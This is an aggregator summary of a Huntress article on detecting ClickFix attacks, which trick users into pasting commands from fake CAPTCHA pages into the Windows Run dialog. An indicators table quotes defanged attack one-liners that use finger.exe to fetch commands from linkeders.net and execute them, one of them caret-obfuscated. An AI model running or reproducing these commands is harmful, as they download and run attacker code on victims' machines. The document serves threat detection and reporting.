How Huntress Detects and Responds to a ClickFix Attack
Huntress says ClickFix evades file-based EDR and describes endpoint rules that kill pasted commands in under a second.
Huntress argues ClickFix succeeds because victims paste and run commands from fake CAPTCHA pages via the Windows Run dialog, often leaving no file for traditional AV or EDR to scan. Over 60 days the company analyzed 8,332 ClickFix-related items and found the tell, such as an IEX or IRM download cradle or an obfuscated LOLBin, at or next to the root of the process chain. Run-dialog cases are always parented by explorer.exe, which Huntress uses as a gate for aggressive matching. Its on-endpoint Attack Disruption engine terminates matching process chains in under a second, before backend alerts arrive and after which infostealers or rogue RMM tools may already have run.
- ClickFix has users paste commands from fake CAPTCHA pages via Windows+R.
- Huntress reviewed 8,332 ClickFix-related items over 60 days.
- Malicious download cradles sat at the chain root under explorer.exe.
- On-endpoint rules terminate matching process chains in under a second.
- Vendors
- Huntress
- Products
- Huntress EDR
- Organizations
- Huntress
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | finger.linkeders.net | : start "" /min for /f "delims=@" %k in ('finger UNyNQAplRS@finger[.]linkeders[.]net') do %k finger.exe ships with Windows and speaks a prot |
| domain | linkeders.net | " %k in (',f^^i^^n^^g^^e^^r UNyNQAplRS@f^^i^^n^^g^^e^^r^^.^^linkeders[.]net') do %k & ' ----------------P_u_s_h----t_h_e----_E_n_t_e_ |
From the original article
11 min read at huntress.comClickFix attacks leave no file to scan or block, which is why most endpoint tools miss it. See how Huntress Attack Disruption kills the chain in under a second.
huntress.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.